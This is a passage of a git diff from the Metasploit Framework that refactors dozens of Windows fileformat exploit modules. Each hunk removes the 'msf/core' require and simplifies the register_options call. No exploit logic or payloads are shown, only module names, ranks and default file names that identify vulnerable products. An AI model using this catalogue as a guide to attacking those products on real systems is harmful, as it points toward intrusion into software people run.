+++ b/modules/exploits/windows/fileformat/bpftp_client_bps_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/fileformat/bsplayer_m3u.rb b/modules/exploits/windows/fileformat/bsplayer_m3u.rb index a651c57417..3019ad4609 100644 --- a/modules/exploits/windows/fileformat/bsplayer_m3u.rb +++ b/modules/exploits/windows/fileformat/bsplayer_m3u.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -75,7 +73,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']), - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/ca_cab.rb b/modules/exploits/windows/fileformat/ca_cab.rb index 9fd6e8977a..5ae00d0f29 100644 --- a/modules/exploits/windows/fileformat/ca_cab.rb +++ b/modules/exploits/windows/fileformat/ca_cab.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -51,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.cab']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/cain_abel_4918_rdp.rb b/modules/exploits/windows/fileformat/cain_abel_4918_rdp.rb index 7b13a94448..74d01af04c 100644 --- a/modules/exploits/windows/fileformat/cain_abel_4918_rdp.rb +++ b/modules/exploits/windows/fileformat/cain_abel_4918_rdp.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'exploit_cain.rdp']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/ccmplayer_m3u_bof.rb b/modules/exploits/windows/fileformat/ccmplayer_m3u_bof.rb index 23a4802477..d3bee00022 100644 --- a/modules/exploits/windows/fileformat/ccmplayer_m3u_bof.rb +++ b/modules/exploits/windows/fileformat/ccmplayer_m3u_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -60,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.m3u']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/chasys_draw_ies_bmp_bof.rb b/modules/exploits/windows/fileformat/chasys_draw_ies_bmp_bof.rb index 6a250a4be3..cc19d76bfb 100644 --- a/modules/exploits/windows/fileformat/chasys_draw_ies_bmp_bof.rb +++ b/modules/exploits/windows/fileformat/chasys_draw_ies_bmp_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -60,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.bmp']), - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/coolpdf_image_stream_bof.rb b/modules/exploits/windows/fileformat/coolpdf_image_stream_bof.rb index dc224d9809..41a9d79245 100644 --- a/modules/exploits/windows/fileformat/coolpdf_image_stream_bof.rb +++ b/modules/exploits/windows/fileformat/coolpdf_image_stream_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -56,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ false, 'The output filename.', 'msf.pdf']) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/corelpdf_fusion_bof.rb b/modules/exploits/windows/fileformat/corelpdf_fusion_bof.rb index 6097c8fb34..30961bf66d 100644 --- a/modules/exploits/windows/fileformat/corelpdf_fusion_bof.rb +++ b/modules/exploits/windows/fileformat/corelpdf_fusion_bof.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/zip' @@ -55,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The output file name.', 'msf.xps']) - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/csound_getnum_bof.rb b/modules/exploits/windows/fileformat/csound_getnum_bof.rb index 50aaa3d7ed..eae252b690 100644 --- a/modules/exploits/windows/fileformat/csound_getnum_bof.rb +++ b/modules/exploits/windows/fileformat/csound_getnum_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -60,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.csd']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/cutezip_bof.rb b/modules/exploits/windows/fileformat/cutezip_bof.rb index 4cdb568852..d44fdb6389 100644 --- a/modules/exploits/windows/fileformat/cutezip_bof.rb +++ b/modules/exploits/windows/fileformat/cutezip_bof.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/zip' @@ -65,7 +64,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']) - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/cyberlink_p2g_bof.rb b/modules/exploits/windows/fileformat/cyberlink_p2g_bof.rb index 3452aced1e..e92e88447a 100644 --- a/modules/exploits/windows/fileformat/cyberlink_p2g_bof.rb +++ b/modules/exploits/windows/fileformat/cyberlink_p2g_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -54,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The output filename.', 'msf.p2g']) - ], self.class) + ]) end def get_payload(hunter) diff --git a/modules/exploits/windows/fileformat/cytel_studio_cy3.rb b/modules/exploits/windows/fileformat/cytel_studio_cy3.rb index 27a7399113..890d7f65db 100644 --- a/modules/exploits/windows/fileformat/cytel_studio_cy3.rb +++ b/modules/exploits/windows/fileformat/cytel_studio_cy3.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -60,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.cy3']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/deepburner_path.rb b/modules/exploits/windows/fileformat/deepburner_path.rb index 81e7b4eb61..f9b8f1c490 100644 --- a/modules/exploits/windows/fileformat/deepburner_path.rb +++ b/modules/exploits/windows/fileformat/deepburner_path.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -56,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.dbr']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/destinymediaplayer16.rb b/modules/exploits/windows/fileformat/destinymediaplayer16.rb index e28c56775c..629dc9f4ea 100644 --- a/modules/exploits/windows/fileformat/destinymediaplayer16.rb +++ b/modules/exploits/windows/fileformat/destinymediaplayer16.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -51,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'exploit_destiny.m3u']), - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/digital_music_pad_pls.rb b/modules/exploits/windows/fileformat/digital_music_pad_pls.rb index 5b4ab37f1d..47b127b52c 100644 --- a/modules/exploits/windows/fileformat/digital_music_pad_pls.rb +++ b/modules/exploits/windows/fileformat/digital_music_pad_pls.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.pls']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/djstudio_pls_bof.rb b/modules/exploits/windows/fileformat/djstudio_pls_bof.rb index a23ea2c2ba..8443fd6ac8 100644 --- a/modules/exploits/windows/fileformat/djstudio_pls_bof.rb +++ b/modules/exploits/windows/fileformat/djstudio_pls_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -52,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.pls']), - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/djvu_imageurl.rb b/modules/exploits/windows/fileformat/djvu_imageurl.rb index bb7f07e4d6..4aa46eee23 100644 --- a/modules/exploits/windows/fileformat/djvu_imageurl.rb +++ b/modules/exploits/windows/fileformat/djvu_imageurl.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = LowRanking @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.html']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/dvdx_plf_bof.rb b/modules/exploits/windows/fileformat/dvdx_plf_bof.rb index abf972e0bd..8eb6224a27 100644 --- a/modules/exploits/windows/fileformat/dvdx_plf_bof.rb +++ b/modules/exploits/windows/fileformat/dvdx_plf_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -67,7 +65,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [false, 'The file name', 'msf.plf']) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/easycdda_pls_bof.rb b/modules/exploits/windows/fileformat/easycdda_pls_bof.rb index cb3d17c4bf..8544251287 100644 --- a/modules/exploits/windows/fileformat/easycdda_pls_bof.rb +++ b/modules/exploits/windows/fileformat/easycdda_pls_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/fileformat/emc_appextender_keyworks.rb b/modules/exploits/windows/fileformat/emc_appextender_keyworks.rb index 9ebe304e14..bc6a2e32f7 100644 --- a/modules/exploits/windows/fileformat/emc_appextender_keyworks.rb +++ b/modules/exploits/windows/fileformat/emc_appextender_keyworks.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -46,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.html']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/erdas_er_viewer_bof.rb b/modules/exploits/windows/fileformat/erdas_er_viewer_bof.rb index 3922c36d9f..d0e4a0e7f3 100644 --- a/modules/exploits/windows/fileformat/erdas_er_viewer_bof.rb +++ b/modules/exploits/windows/fileformat/erdas_er_viewer_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -69,7 +67,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.ers']), - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/erdas_er_viewer_rf_report_error.rb b/modules/exploits/windows/fileformat/erdas_er_viewer_rf_report_error.rb index 42a7a7b919..748976cb65 100644 --- a/modules/exploits/windows/fileformat/erdas_er_viewer_rf_report_error.rb +++ b/modules/exploits/windows/fileformat/erdas_er_viewer_rf_report_error.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -70,7 +68,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.ers']), - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/esignal_styletemplate_bof.rb b/modules/exploits/windows/fileformat/esignal_styletemplate_bof.rb index 5f09b2be60..96c81051b5 100644 --- a/modules/exploits/windows/fileformat/esignal_styletemplate_bof.rb +++ b/modules/exploits/windows/fileformat/esignal_styletemplate_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -66,7 +64,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.quo']), - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/etrust_pestscan.rb b/modules/exploits/windows/fileformat/etrust_pestscan.rb index f54e0fb9fb..96577875ff 100644 --- a/modules/exploits/windows/fileformat/etrust_pestscan.rb +++ b/modules/exploits/windows/fileformat/etrust_pestscan.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -45,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.html']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/ezip_wizard_bof.rb b/modules/exploits/windows/fileformat/ezip_wizard_bof.rb index 8d41735dfb..e155c9a1cf 100644 --- a/modules/exploits/windows/fileformat/ezip_wizard_bof.rb +++ b/modules/exploits/windows/fileformat/ezip_wizard_bof.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/zip' @@ -62,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']), OptString.new('USERNAME', [ true, 'Username', '']) - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/fatplayer_wav.rb b/modules/exploits/windows/fileformat/fatplayer_wav.rb index cf4f18cd37..4046527719 100644 --- a/modules/exploits/windows/fileformat/fatplayer_wav.rb +++ b/modules/exploits/windows/fileformat/fatplayer_wav.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -54,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.wav']), - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/fdm_torrent.rb b/modules/exploits/windows/fileformat/fdm_torrent.rb index 3d0a508665..b88be7c629 100644 --- a/modules/exploits/windows/fileformat/fdm_torrent.rb +++ b/modules/exploits/windows/fileformat/fdm_torrent.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -63,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.torrent']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/feeddemon_opml.rb b/modules/exploits/windows/fileformat/feeddemon_opml.rb index e19d9777bf..7d6f896f26 100644 --- a/modules/exploits/windows/fileformat/feeddemon_opml.rb +++ b/modules/exploits/windows/fileformat/feeddemon_opml.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -73,7 +71,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.opml']), - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/foxit_reader_filewrite.rb b/modules/exploits/windows/fileformat/foxit_reader_filewrite.rb index db56b8840e..492aa2d419 100644 --- a/modules/exploits/windows/fileformat/foxit_reader_filewrite.rb +++ b/modules/exploits/windows/fileformat/foxit_reader_filewrite.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options([ OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']), OptString.new('DECODER', [ true, 'The decoder script.', 'vbs_b64']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/foxit_reader_launch.rb b/modules/exploits/windows/fileformat/foxit_reader_launch.rb index 512ca932fd..c8908251a2 100644 --- a/modules/exploits/windows/fileformat/foxit_reader_launch.rb +++ b/modules/exploits/windows/fileformat/foxit_reader_launch.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'zlib' class MetasploitModule < Msf::Exploit::Remote @@ -53,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options([ OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']), - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/foxit_title_bof.rb b/modules/exploits/windows/fileformat/foxit_title_bof.rb index 9c9f4b3566..054bce447d 100644 --- a/modules/exploits/windows/fileformat/foxit_title_bof.rb +++ b/modules/exploits/windows/fileformat/foxit_title_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -59,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ false, 'The output filename.', 'corelan_foxit.pdf']) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/free_mp3_ripper_wav.rb b/modules/exploits/windows/fileformat/free_mp3_ripper_wav.rb index 7dd33fd5e9..5259708447 100644 --- a/modules/exploits/windows/fileformat/free_mp3_ripper_wav.rb +++ b/modules/exploits/windows/fileformat/free_mp3_ripper_wav.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -62,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.wav']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/galan_fileformat_bof.rb b/modules/exploits/windows/fileformat/galan_fileformat_bof.rb index 1049ee46b0..ec0c55907c 100644 --- a/modules/exploits/windows/fileformat/galan_fileformat_bof.rb +++ b/modules/exploits/windows/fileformat/galan_fileformat_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -52,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.galan']), - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/gsm_sim.rb b/modules/exploits/windows/fileformat/gsm_sim.rb index 0fd7b4a82e..21461a960d 100644 --- a/modules/exploits/windows/fileformat/gsm_sim.rb +++ b/modules/exploits/windows/fileformat/gsm_sim.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -58,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.sms']), - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/gta_samp.rb b/modules/exploits/windows/fileformat/gta_samp.rb index 99bfd109cf..f3259734dd 100644 --- a/modules/exploits/windows/fileformat/gta_samp.rb +++ b/modules/exploits/windows/fileformat/gta_samp.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -59,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'server.cfg']) - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/hhw_hhp_compiledfile_bof.rb b/modules/exploits/windows/fileformat/hhw_hhp_compiledfile_bof.rb index 96e6b9cb59..bee2fadc73 100644 --- a/modules/exploits/windows/fileformat/hhw_hhp_compiledfile_bof.rb +++ b/modules/exploits/windows/fileformat/hhw_hhp_compiledfile_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -51,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.hhp']), - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/hhw_hhp_contentfile_bof.rb b/modules/exploits/windows/fileformat/hhw_hhp_contentfile_bof.rb index 3eaa4f66bf..f5e7351414 100644 --- a/modules/exploits/windows/fileformat/hhw_hhp_contentfile_bof.rb +++ b/modules/exploits/windows/fileformat/hhw_hhp_contentfile_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.hhp']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/hhw_hhp_indexfile_bof.rb b/modules/exploits/windows/fileformat/hhw_hhp_indexfile_bof.rb index 90d48de952..6eb7febf03 100644 --- a/modules/exploits/windows/fileformat/hhw_hhp_indexfile_bof.rb +++ b/modules/exploits/windows/fileformat/hhw_hhp_indexfile_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -51,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.hhp']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/homm3_h3m.rb b/modules/exploits/windows/fileformat/homm3_h3m.rb index be882ba496..a8d30ffef1 100644 --- a/modules/exploits/windows/fileformat/homm3_h3m.rb +++ b/modules/exploits/windows/fileformat/homm3_h3m.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'zlib' class MetasploitModule < Msf::Exploit::Remote @@ -113,7 +112,7 @@ class MetasploitModule < Msf::Exploit::Remote ' it will be embedded will be created.', 'sploit.h3m' ]) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/ht_mp3player_ht3_bof.rb b/modules/exploits/windows/fileformat/ht_mp3player_ht3_bof.rb index 2d4cb835fd..152697f910 100644 --- a/modules/exploits/windows/fileformat/ht_mp3player_ht3_bof.rb +++ b/modules/exploits/windows/fileformat/ht_mp3player_ht3_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -66,7 +64,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.ht3']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/ibm_forms_viewer_fontname.rb b/modules/exploits/windows/fileformat/ibm_forms_viewer_fontname.rb index 8ee1a341ad..b9944dc59b 100644 --- a/modules/exploits/windows/fileformat/ibm_forms_viewer_fontname.rb +++ b/modules/exploits/windows/fileformat/ibm_forms_viewer_fontname.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rexml/document' class MetasploitModule < Msf::Exploit::Remote @@ -72,7 +71,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.xfdl']), - ], self.class) + ]) end def generate_xfdl diff --git a/modules/exploits/windows/fileformat/ibm_pcm_ws.rb b/modules/exploits/windows/fileformat/ibm_pcm_ws.rb index 6905619ea8..f2be36c7f5 100644 --- a/modules/exploits/windows/fileformat/ibm_pcm_ws.rb +++ b/modules/exploits/windows/fileformat/ibm_pcm_ws.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking # ASLR+DEP bypass @@ -78,7 +76,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new( 'FILENAME', [ true, 'The file name.', 'msf.ws' ]), - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/icofx_bof.rb b/modules/exploits/windows/fileformat/icofx_bof.rb index 4d4902d9a8..8c52b5c797 100644 --- a/modules/exploits/windows/fileformat/icofx_bof.rb +++ b/modules/exploits/windows/fileformat/icofx_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The output file name.', 'msf.ico']) - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/ideal_migration_ipj.rb b/modules/exploits/windows/fileformat/ideal_migration_ipj.rb index 302377f25f..0667bd4131 100644 --- a/modules/exploits/windows/fileformat/ideal_migration_ipj.rb +++ b/modules/exploits/windows/fileformat/ideal_migration_ipj.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -70,7 +68,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.ipj']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/iftp_schedule_bof.rb b/modules/exploits/windows/fileformat/iftp_schedule_bof.rb index 335af1186d..57af3da191 100644 --- a/modules/exploits/windows/fileformat/iftp_schedule_bof.rb +++ b/modules/exploits/windows/fileformat/iftp_schedule_bof.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rexml/document' class MetasploitModule < Msf::Exploit::Remote diff --git a/modules/exploits/windows/fileformat/irfanview_jpeg2000_bof.rb b/modules/exploits/windows/fileformat/irfanview_jpeg2000_bof.rb index e2a17b49a4..88910ddb09 100644 --- a/modules/exploits/windows/fileformat/irfanview_jpeg2000_bof.rb +++ b/modules/exploits/windows/fileformat/irfanview_jpeg2000_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -65,7 +63,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The output file name.', 'msf.jp2']), - ], self.class) + ]) end # encode our string like unicode except we are not using nulls diff --git a/modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb b/modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb index 846839bfb1..306083f6d4 100644 --- a/modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb +++ b/modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -58,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.xcf']), - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/kingview_kingmess_kvl.rb b/modules/exploits/windows/fileformat/kingview_kingmess_kvl.rb index 844674afc7..1dd0345fcb 100644 --- a/modules/exploits/windows/fileformat/kingview_kingmess_kvl.rb +++ b/modules/exploits/windows/fileformat/kingview_kingmess_kvl.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class 